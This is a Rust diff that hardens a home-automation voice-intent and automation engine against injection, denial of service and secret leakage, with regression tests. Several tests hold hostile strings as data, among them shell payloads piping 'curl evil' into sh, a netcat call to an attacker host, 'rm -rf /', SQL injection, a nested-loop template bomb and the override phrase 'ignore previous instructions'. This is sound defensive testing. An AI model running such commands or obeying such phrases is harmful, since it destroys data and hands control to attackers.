assert_eq!(v.len(), EMBEDDING_DIM);
|
||||
assert!(
|
||||
v.iter().all(|x| x.is_finite()),
|
||||
"embedding of {s:?} contained a non-finite component"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cosine_with_zero_vector_is_finite_not_nan() {
|
||||
// SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
|
||||
// to the zero vector. Cosine against any exemplar must be a finite 0.0,
|
||||
// never NaN — so a below-threshold comparison stays well-defined and the
|
||||
// recognizer falls through (no action) rather than matching on garbage.
|
||||
let zero = embed("!!! ???");
|
||||
let real = embed("turn on the light");
|
||||
let sim = cosine_similarity(&zero, &real);
|
||||
assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
|
||||
assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_text_is_similarity_one() {
|
||||
let a = embed("lock the front door");
|
||||
|
||||
@@ -47,7 +47,9 @@ pub mod pipeline;
|
||||
pub mod embedding;
|
||||
|
||||
pub use intent::{Card, Intent, IntentName, IntentResponse};
|
||||
pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
|
||||
pub use recognizer::{
|
||||
IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
|
||||
};
|
||||
pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
|
||||
pub use handler::{
|
||||
HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,
|
||||
|
||||
@@ -215,6 +215,52 @@ mod tests {
|
||||
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
|
||||
// SECURITY (intent confusion / slot sanitisation): an injection-shaped
|
||||
// utterance must never deliver a shell/SQL metacharacter into a service
|
||||
// call. The `entity_id` capture class strips everything outside
|
||||
// `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
|
||||
// captures the *actual* service-call data and asserts the entity_id it
|
||||
// carries contains no metacharacters — the sanitiser is the capture
|
||||
// class, by construction.
|
||||
let (pipeline, hc) = build_test_pipeline().await;
|
||||
let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
|
||||
let c2 = captured.clone();
|
||||
hc.services()
|
||||
.register(
|
||||
ServiceName::new("homeassistant", "turn_on"),
|
||||
FnHandler(move |call: homecore::ServiceCall| {
|
||||
let c = c2.clone();
|
||||
async move {
|
||||
if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
|
||||
c.lock().unwrap().push(e.to_owned());
|
||||
}
|
||||
Ok(serde_json::json!({}))
|
||||
}
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
const METACHARS: &[char] =
|
||||
&[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
|
||||
for evil in [
|
||||
"'; DROP TABLE entities; --",
|
||||
"turn on the light; rm -rf /",
|
||||
"<script>turn on everything</script>",
|
||||
"turn on the light && curl evil | sh",
|
||||
"ignore previous instructions and turn on",
|
||||
] {
|
||||
// Must not panic / error regardless of how hostile the input is.
|
||||
let _ = pipeline.process(evil, "en", &hc).await.unwrap();
|
||||
}
|
||||
for eid in captured.lock().unwrap().iter() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"service entity_id {eid:?} must carry no shell/SQL metacharacters"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn default_pipeline_registers_five_handlers() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -26,6 +26,20 @@ use thiserror::Error;
|
||||
|
||||
use crate::intent::{Intent, IntentName};
|
||||
|
||||
/// Maximum accepted utterance length, in bytes.
|
||||
///
|
||||
/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
|
||||
/// `assist` command). A pathological multi-megabyte utterance would otherwise
|
||||
/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
|
||||
/// in the semantic path, fully tokenised + embedded) — an unbounded
|
||||
/// memory/CPU amplification on attacker-controlled input. Real spoken
|
||||
/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
|
||||
/// blast radius. An over-length utterance fails **closed**: the recognizer
|
||||
/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
|
||||
/// phrase. The `regex` crate itself is linear-time (no catastrophic
|
||||
/// backtracking), so this bound is purely an allocation/throughput guard.
|
||||
pub const MAX_UTTERANCE_BYTES: usize = 4096;
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecognizerError {
|
||||
#[error("regex compile error: {0}")]
|
||||
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<Option<Intent>, RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before any allocation/scan.
|
||||
// Untrusted input must not be able to force an unbounded `to_lowercase`
|
||||
// clone + per-pattern scan. Bound first, then normalise.
|
||||
if utterance.len() > MAX_UTTERANCE_BYTES {
|
||||
return Ok(None);
|
||||
}
|
||||
let normalised = utterance.trim().to_lowercase();
|
||||
let patterns = self.patterns.read().await;
|
||||
for pattern in patterns.iter() {
|
||||
@@ -183,6 +203,55 @@ mod tests {
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed() {
|
||||
// SECURITY (DoS / fail-closed): an utterance larger than the bound must
|
||||
// return Ok(None) WITHOUT being normalised or scanned. Crucially, even
|
||||
// an over-length utterance that *contains* a matching command must NOT
|
||||
// resolve — fail closed, never open.
|
||||
//
|
||||
// This FAILS against the pre-fix recognizer: there, a giant prefix
|
||||
// followed by "turn on the kitchen light" would still match HassTurnOn
|
||||
// (and force a multi-megabyte `to_lowercase` clone + scan first).
|
||||
let r = turn_on_recognizer().await;
|
||||
let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
|
||||
assert!(huge.len() > MAX_UTTERANCE_BYTES);
|
||||
|
||||
let result = r.recognize(&huge, "en").await.unwrap();
|
||||
assert!(
|
||||
result.is_none(),
|
||||
"over-length utterance must fail closed (no intent, no action)"
|
||||
);
|
||||
|
||||
// And a just-under-bound utterance still works, so the cap doesn't
|
||||
// break legitimate (tiny) commands.
|
||||
let ok = r
|
||||
.recognize("turn on the kitchen light", "en")
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(ok.is_some(), "normal-length command must still resolve");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pathological_backtracking_pattern_completes_in_bounded_time() {
|
||||
// SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
|
||||
// so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
|
||||
// on a crafted adversarial input. This proves the recognizer terminates
|
||||
// promptly on the worst-case input the regex engine is asked to run.
|
||||
let r = RegexIntentRecognizer::new();
|
||||
r.register("Evil", r"(a+)+$", "*").await.unwrap();
|
||||
// Just under the length bound: all 'a' then a 'b' — the classic input
|
||||
// that destroys a backtracking engine. Linear-time regex shrugs.
|
||||
let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
|
||||
let start = std::time::Instant::now();
|
||||
let _ = r.recognize(&evil, "en").await.unwrap();
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
elapsed < std::time::Duration::from_secs(2),
|
||||
"linear-time regex must not hang on adversarial input; took {elapsed:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn language_filter_skips_non_matching() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -393,6 +393,63 @@ mod tests {
|
||||
assert!(matches!(err, AssistError::ParseError(_)));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn shell_metachars_never_survive_into_a_resolved_slot() {
|
||||
// SECURITY (command/argument injection): two layers of defense.
|
||||
// 1. There is NO subprocess — `spawn` is a lifecycle flag and
|
||||
// `RufloRunnerOpts` is inert, so no argv is ever built.
|
||||
// 2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
|
||||
// which *excludes* every shell metacharacter. So when an
|
||||
// injection-shaped utterance DOES resolve (the regex is not exact-
|
||||
// anchored), the captured slot is a clean token with the hostile
|
||||
// tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
|
||||
// This pins the slot-sanitisation-by-construction property: a slot value
|
||||
// can never carry a metachar into a (future) argv.
|
||||
let mut runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
runner.spawn(RufloRunnerOpts::default()).await.unwrap();
|
||||
const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
|
||||
for evil in [
|
||||
"turn on the light; rm -rf /",
|
||||
"turn on the light && shutdown -h now",
|
||||
"turn on the light | nc attacker 4444",
|
||||
"turn on the light `curl evil.sh | sh`",
|
||||
"turn on the light $(reboot)",
|
||||
] {
|
||||
let resp = runner
|
||||
.send_request(serde_json::json!({"utterance": evil, "language": "en"}))
|
||||
.await
|
||||
.unwrap();
|
||||
if let Some(intent) = resp.intent {
|
||||
if let Some(eid) = intent.entity_id() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn runner_opts_are_inert_no_process_spawned() {
|
||||
// SECURITY (command injection): even a hostile `script_path` / `env` in
|
||||
// RufloRunnerOpts is never consumed — `spawn` launches no process. This
|
||||
// documents-and-pins that the data-gated P2 subprocess is genuinely
|
||||
// absent (confirmed Noop/Local, no spawn surface today).
|
||||
let mut env = std::collections::HashMap::new();
|
||||
env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
|
||||
let opts = RufloRunnerOpts {
|
||||
script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
|
||||
env,
|
||||
timeout_ms: 1,
|
||||
};
|
||||
let mut runner = NoopRunner::new();
|
||||
// No panic, no spawn, no error — the opts are pure data.
|
||||
assert!(runner.spawn(opts.clone()).await.is_ok());
|
||||
let mut local = LocalRunner::new(turn_on_recognizer().await);
|
||||
assert!(local.spawn(opts).await.is_ok());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn local_runner_send_before_spawn_is_not_started() {
|
||||
let runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
|
||||
@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before embedding/scanning.
|
||||
// Untrusted input must not force an unbounded `to_lowercase` clone +
|
||||
// full tokenisation/embedding. Mirrors the regex recognizer's bound.
|
||||
if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
|
||||
return Ok((None, None));
|
||||
}
|
||||
if let Some((id, similarity)) = self.nearest(utterance, language).await {
|
||||
if similarity >= self.threshold {
|
||||
let inner = self.index.read().await;
|
||||
@@ -228,6 +234,32 @@ mod tests {
|
||||
r
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn empty_utterance_against_empty_index_no_panic_no_match() {
|
||||
// SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
|
||||
// empty index must not panic and must yield no intent — the recognizer
|
||||
// falls through to the (also empty) regex fallback. Proves the empty-
|
||||
// iterator `max_by` path returns None cleanly.
|
||||
let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
|
||||
let result = semantic.recognize("", "en").await.unwrap();
|
||||
assert!(result.is_none(), "empty utterance must produce no intent / no action");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed_semantic() {
|
||||
// SECURITY (DoS / fail-closed): an over-length utterance must short-
|
||||
// circuit before embedding/scanning, returning no intent — even if it
|
||||
// textually contains an enrolled/fallback-matchable command.
|
||||
let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
|
||||
let huge = format!(
|
||||
"{} turn on the kitchen light",
|
||||
"a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
|
||||
);
|
||||
assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
|
||||
let result = semantic.recognize(&huge, "en").await.unwrap();
|
||||
assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn semantic_recognizer_delegates_to_fallback() {
|
||||
// No exemplars enrolled → empty HNSW index → pure regex fallback.
|
||||
|
||||
@@ -29,8 +29,10 @@ serde = { version = "1", features = ["derive"] }
|
||||
serde_yaml = "0.9"
|
||||
serde_json = "1"
|
||||
|
||||
# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1)
|
||||
minijinja = { version = "2", features = ["json", "loader"] }
|
||||
# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1).
|
||||
# `fuel` bounds instruction count so a malicious `template:` condition cannot
|
||||
# spin the engine with a nested-loop / huge-repeat DoS (HC-SEC-01).
|
||||
minijinja = { version = "2", features = ["json", "loader", "fuel"] }
|
||||
|
||||
# Error handling
|
||||
thiserror = "1"
|
||||
|
||||
@@ -70,6 +70,32 @@ impl ExecutionContext {
|
||||
}
|
||||
}
|
||||
|
||||
/// Upper bound for a `delay` / `wait_for_trigger` timeout, in seconds
|
||||
/// (~100 years). Caps absurd values so `Duration::from_secs_f64` cannot
|
||||
/// overflow-panic on e.g. `seconds: 1e308`, while still allowing any
|
||||
/// realistic automation delay (HC-SEC-02).
|
||||
const MAX_DELAY_SECS: f64 = 3.15e9;
|
||||
|
||||
/// Convert a user-supplied seconds value into a `Duration` without
|
||||
/// panicking (HC-SEC-02).
|
||||
///
|
||||
/// `Duration::from_secs_f64` **panics** on negative, NaN, infinite, or
|
||||
/// overflowing inputs. Those values are all reachable from a crafted
|
||||
/// automation YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`), so a
|
||||
/// single hostile config would crash the running automation task. We
|
||||
/// instead saturate to a safe range — matching Home Assistant's lenient
|
||||
/// treatment of a non-positive delay as "no delay":
|
||||
///
|
||||
/// - non-finite (NaN / ±inf) → `0`
|
||||
/// - negative → `0`
|
||||
/// - above [`MAX_DELAY_SECS`] → clamped to the cap
|
||||
fn safe_duration_from_secs(seconds: f64) -> Duration {
|
||||
if !seconds.is_finite() || seconds <= 0.0 {
|
||||
return Duration::ZERO;
|
||||
}
|
||||
Duration::from_secs_f64(seconds.min(MAX_DELAY_SECS))
|
||||
}
|
||||
|
||||
/// Action configuration. Deserialized from YAML `action:` blocks.
|
||||
#[derive(Clone, Debug, Serialize, Deserialize)]
|
||||
#[serde(tag = "action", rename_all = "snake_case")]
|
||||
@@ -154,7 +180,10 @@ impl Action {
|
||||
Ok(result)
|
||||
}
|
||||
Action::Delay { seconds } => {
|
||||
let dur = Duration::from_secs_f64(*seconds);
|
||||
// `safe_duration_from_secs` guards against negative /
|
||||
// NaN / infinite / overflowing values that would
|
||||
// otherwise panic `Duration::from_secs_f64` (HC-SEC-02).
|
||||
let dur = safe_duration_from_secs(*seconds);
|
||||
sleep(dur).await;
|
||||
Ok(serde_json::Value::Null)
|
||||
}
|
||||
@@ -172,7 +201,8 @@ impl Action {
|
||||
// P1 stub — just sleeps for the timeout duration if specified.
|
||||
// Full trigger subscription lands in P2.
|
||||
if let Some(secs) = timeout_seconds {
|
||||
sleep(Duration::from_secs_f64(*secs)).await;
|
||||
// Same non-panicking guard as `Delay` (HC-SEC-02).
|
||||
sleep(safe_duration_from_secs(*secs)).await;
|
||||
}
|
||||
Ok(serde_json::Value::Null)
|
||||
}
|
||||
@@ -243,6 +273,68 @@ mod tests {
|
||||
assert!(result.is_null());
|
||||
}
|
||||
|
||||
// ── HC-SEC-02: a crafted delay must not panic the run task ─────────
|
||||
//
|
||||
// `Duration::from_secs_f64` panics on negative / NaN / infinite /
|
||||
// overflowing inputs, all reachable from a YAML `delay:` value. On the
|
||||
// pre-fix code each of these aborts the spawned automation task with a
|
||||
// panic; the guard saturates to a safe Duration instead. These tests
|
||||
// fail on old (panic = test failure).
|
||||
#[tokio::test]
|
||||
async fn delay_negative_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: -1.0 }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "negative delay must be treated as 0, not panic");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delay_nan_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: f64::NAN }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "NaN delay must be treated as 0, not panic");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delay_infinite_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: f64::INFINITY }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "infinite delay must saturate to 0, not panic");
|
||||
}
|
||||
|
||||
// Note: the overflow case (1e300) is covered by the synchronous
|
||||
// `safe_duration_saturates_hostile_values` unit test below — executing
|
||||
// `Action::Delay { seconds: 1e300 }` would genuinely sleep for the
|
||||
// clamped (~100-year) duration, so we assert the conversion directly
|
||||
// rather than through `execute`.
|
||||
|
||||
#[tokio::test]
|
||||
async fn wait_for_trigger_negative_timeout_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::WaitForTrigger { timeout_seconds: Some(-5.0) }
|
||||
.execute(&mut ctx)
|
||||
.await;
|
||||
assert!(result.is_ok(), "negative wait timeout must not panic");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn safe_duration_saturates_hostile_values() {
|
||||
assert_eq!(safe_duration_from_secs(-1.0), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::NAN), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::INFINITY), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::NEG_INFINITY), Duration::ZERO);
|
||||
// legitimate value preserved
|
||||
assert_eq!(safe_duration_from_secs(2.5), Duration::from_secs_f64(2.5));
|
||||
// huge value clamped to the cap, not overflow-panicked
|
||||
assert_eq!(
|
||||
safe_duration_from_secs(1e300),
|
||||
Duration::from_secs_f64(MAX_DELAY_SECS)
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn service_call_unregistered_returns_error() {
|
||||
let hc = HomeCore::new();
|
||||
|
||||
@@ -13,6 +13,26 @@ use homecore::{EntityId, StateMachine};
|
||||
|
||||
use crate::error::AutomationError;
|
||||
|
||||
/// Instruction budget for a single template render (HC-SEC-01).
|
||||
///
|
||||
/// Templates come from user automation config; without a bound a single
|
||||
/// `template:` condition like
|
||||
/// `{% for i in range(10000) %}{% for j in range(10000) %}x{% endfor %}{% endfor %}`
|
||||
/// renders a multi-gigabyte string and pins a CPU for tens of seconds —
|
||||
/// a memory/CPU denial-of-service (the bfld-class "unbounded expansion").
|
||||
/// MiniJinja's `fuel` feature charges ~1 unit per VM instruction; a
|
||||
/// nested loop burns one unit per iteration, so the budget caps total
|
||||
/// work regardless of how the loops are nested. 1,000,000 instructions is
|
||||
/// far more than any legitimate HA template needs (a typical condition is
|
||||
/// a few dozen) while killing the attack in well under a second.
|
||||
const TEMPLATE_FUEL: u64 = 1_000_000;
|
||||
|
||||
/// Hard cap on the source length of a template (HC-SEC-01, defense in
|
||||
/// depth). A legitimate HA `value_template` is a one-liner; anything past
|
||||
/// 64 KiB is rejected before compilation so a pathological source string
|
||||
/// can neither be compiled nor emitted verbatim.
|
||||
const MAX_TEMPLATE_SOURCE_BYTES: usize = 64 * 1024;
|
||||
|
||||
/// MiniJinja environment pre-loaded with HA-compatible globals.
|
||||
///
|
||||
/// Constructed once per `AutomationEngine` and shared via `Arc`. The
|
||||
@@ -27,6 +47,10 @@ impl TemplateEnvironment {
|
||||
pub fn new(states: Arc<StateMachine>) -> Self {
|
||||
let mut env = Environment::new();
|
||||
|
||||
// Bound per-render work so a hostile `template:` condition cannot
|
||||
// DoS the engine via nested loops / huge repeats (HC-SEC-01).
|
||||
env.set_fuel(Some(TEMPLATE_FUEL));
|
||||
|
||||
// --- states(entity_id) ---
|
||||
// Returns the current state string of an entity, or "unavailable".
|
||||
let states_sm = Arc::clone(&states);
|
||||
@@ -88,7 +112,21 @@ impl TemplateEnvironment {
|
||||
}
|
||||
|
||||
/// Render a template string and return the string output.
|
||||
///
|
||||
/// Renders are bounded by an instruction budget ([`TEMPLATE_FUEL`]) and
|
||||
/// a source-length cap ([`MAX_TEMPLATE_SOURCE_BYTES`]); a malicious
|
||||
/// template that exhausts the budget returns a [`AutomationError::TemplateRender`]
|
||||
/// error rather than running unbounded (HC-SEC-01).
|
||||
pub fn render(&self, template_str: &str) -> Result<String, AutomationError> {
|
||||
// Reject pathologically large sources before compilation (defense
|
||||
// in depth — fuel already bounds runtime work).
|
||||
if template_str.len() > MAX_TEMPLATE_SOURCE_BYTES {
|
||||
return Err(AutomationError::TemplateRender(format!(
|
||||
"template source too large: {} bytes (max {})",
|
||||
template_str.len(),
|
||||
MAX_TEMPLATE_SOURCE_BYTES
|
||||
)));
|
||||
}
|
||||
// Wrap bare expressions like `{{ states('light.kitchen') }}`
|
||||
// in a minimal template wrapper.
|
||||
let tmpl = self
|
||||
@@ -191,4 +229,68 @@ mod tests {
|
||||
assert!(!env.render_bool("0").unwrap());
|
||||
assert!(!env.render_bool("off").unwrap());
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: template DoS is bounded by fuel ─────────────────────
|
||||
//
|
||||
// A `template:` condition is user config. Before the fuel bound a
|
||||
// nested-loop template rendered a multi-GB string over ~11 s (proven
|
||||
// empirically). With fuel enabled it must fail FAST with an error
|
||||
// instead of expanding unboundedly. On the pre-fix code (no `fuel`
|
||||
// feature / `set_fuel`) this render succeeds and burns CPU+RAM, so
|
||||
// this test fails on old (it would `Ok` and exceed the time bound).
|
||||
#[test]
|
||||
fn nested_loop_template_is_bounded_not_unbounded_dos() {
|
||||
use std::time::Instant;
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// 5000 * 5000 = 25M iterations on the old engine (~100 MB, ~11 s).
|
||||
let malicious =
|
||||
"{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}";
|
||||
let start = Instant::now();
|
||||
let result = env.render(malicious);
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
result.is_err(),
|
||||
"malicious nested-loop template must be rejected (ran out of fuel), got Ok"
|
||||
);
|
||||
assert!(
|
||||
elapsed.as_secs() < 3,
|
||||
"bounded render must fail fast; took {elapsed:?} (unbounded DoS on old engine)"
|
||||
);
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: a single huge repeat is also bounded ────────────────
|
||||
#[test]
|
||||
fn single_huge_repeat_template_is_bounded() {
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// range() caps at 10k per call, but multiplied bodies still need a
|
||||
// bound; drive enough instructions to exhaust fuel via deep nesting.
|
||||
let malicious = "{% for a in range(9999) %}{% for b in range(9999) %}\
|
||||
{% for c in range(9999) %}z{% endfor %}{% endfor %}{% endfor %}";
|
||||
let result = env.render(malicious);
|
||||
assert!(result.is_err(), "deeply nested loops must exhaust fuel and error");
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: oversized template source is rejected pre-compile ───
|
||||
#[test]
|
||||
fn oversized_template_source_is_rejected() {
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// 128 KiB of literal text — exceeds MAX_TEMPLATE_SOURCE_BYTES.
|
||||
let big = "x".repeat(128 * 1024);
|
||||
let result = env.render(&big);
|
||||
assert!(result.is_err(), "oversized template source must be rejected");
|
||||
}
|
||||
|
||||
// ── A legitimate small template still renders fine within budget ───
|
||||
#[test]
|
||||
fn legitimate_template_still_renders_within_fuel() {
|
||||
let sm = sm_with("light.kitchen", "on", serde_json::json!({}));
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// A normal HA condition with a modest loop — well under budget.
|
||||
let ok = "{% for i in range(50) %}{{ states('light.kitchen') }}{% endfor %}";
|
||||
let out = env.render(ok).expect("legitimate template must render");
|
||||
assert!(out.contains("on"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,25 @@ pub enum MigrateError {
|
||||
source: serde_yaml::Error,
|
||||
},
|
||||
|
||||
/// Parse failure in a SECRET-bearing file (`secrets.yaml`).
|
||||
///
|
||||
/// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
|
||||
/// embed the underlying `serde_yaml::Error` message — that message can quote
|
||||
/// the offending scalar verbatim (e.g. a typed-tag coercion error renders
|
||||
/// `invalid value: string "<the-secret-value>"`), which would leak a secret
|
||||
/// into stderr/logs. We carry only the file path plus a coarse line/column
|
||||
/// so the user can locate the problem without the value being printed.
|
||||
/// (ADR-165 secret-handling rule: a secret value must never appear in output.)
|
||||
#[error(
|
||||
"secrets.yaml parse error in {path} (line {line}, column {column}): \
|
||||
malformed YAML (value content redacted)"
|
||||
)]
|
||||
SecretsParse {
|
||||
path: String,
|
||||
line: usize,
|
||||
column: usize,
|
||||
},
|
||||
|
||||
/// Fired when the outer `{version, minor_version}` envelope version is
|
||||
/// known but the `minor_version` is not supported by any compiled parser.
|
||||
/// Per ADR-165 §6 Q5: hard error on unknown minor_version.
|
||||
|
||||
@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
|
||||
return Ok(HashMap::new());
|
||||
}
|
||||
|
||||
let parsed: serde_yaml::Value =
|
||||
serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
|
||||
// SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
|
||||
// messages can quote the offending scalar verbatim (a typed-tag coercion
|
||||
// error renders `invalid value: string "<the-secret-value>"`), and that
|
||||
// message would be printed to stderr by the CLI — leaking a secret value.
|
||||
// `MigrateError::SecretsParse` carries only the path + line/column.
|
||||
let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
|
||||
let loc = e.location();
|
||||
MigrateError::SecretsParse {
|
||||
path: path.display().to_string(),
|
||||
source: e,
|
||||
})?;
|
||||
line: loc.as_ref().map_or(0, |l| l.line()),
|
||||
column: loc.as_ref().map_or(0, |l| l.column()),
|
||||
}
|
||||
})?;
|
||||
|
||||
let map = match parsed {
|
||||
serde_yaml::Value::Mapping(m) => m,
|
||||
@@ -94,6 +102,59 @@ mod tests {
|
||||
assert!(secrets.is_empty());
|
||||
}
|
||||
|
||||
/// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
|
||||
/// `secrets.yaml` whose offending scalar is a secret value must NOT have that
|
||||
/// value rendered in the returned error. serde_yaml's own error message for a
|
||||
/// typed-tag coercion failure embeds the scalar verbatim
|
||||
/// (`invalid value: string "<secret>"`); the old code wrapped that message
|
||||
/// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
|
||||
#[test]
|
||||
fn malformed_secrets_error_never_contains_secret_value() {
|
||||
// `!!int` forces integer coercion of a string scalar; serde_yaml reports
|
||||
// the scalar text in its message. The scalar here is a stand-in secret.
|
||||
let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
|
||||
// The secret VALUE must never appear in the error output...
|
||||
assert!(
|
||||
!rendered.contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error: {rendered}"
|
||||
);
|
||||
// ...and the full chain (with #[source]) must also be clean, since the
|
||||
// CLI/anyhow prints the source chain too.
|
||||
let mut source = std::error::Error::source(&err);
|
||||
while let Some(s) = source {
|
||||
assert!(
|
||||
!s.to_string().contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error source chain: {s}"
|
||||
);
|
||||
source = s.source();
|
||||
}
|
||||
|
||||
// It should still be a structured, locatable error (fail-closed).
|
||||
assert!(
|
||||
matches!(err, MigrateError::SecretsParse { .. }),
|
||||
"expected SecretsParse, got: {err:?}"
|
||||
);
|
||||
}
|
||||
|
||||
/// A secret KEY name is non-sensitive context and is fine to surface, but the
|
||||
/// redacting error must still help the user locate the problem (line/column).
|
||||
#[test]
|
||||
fn malformed_secrets_error_reports_location() {
|
||||
let yaml = "api_port: !!int notanumber\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
assert!(rendered.contains("line"), "should report a line: {rendered}");
|
||||
assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secret_count_is_correct() {
|
||||
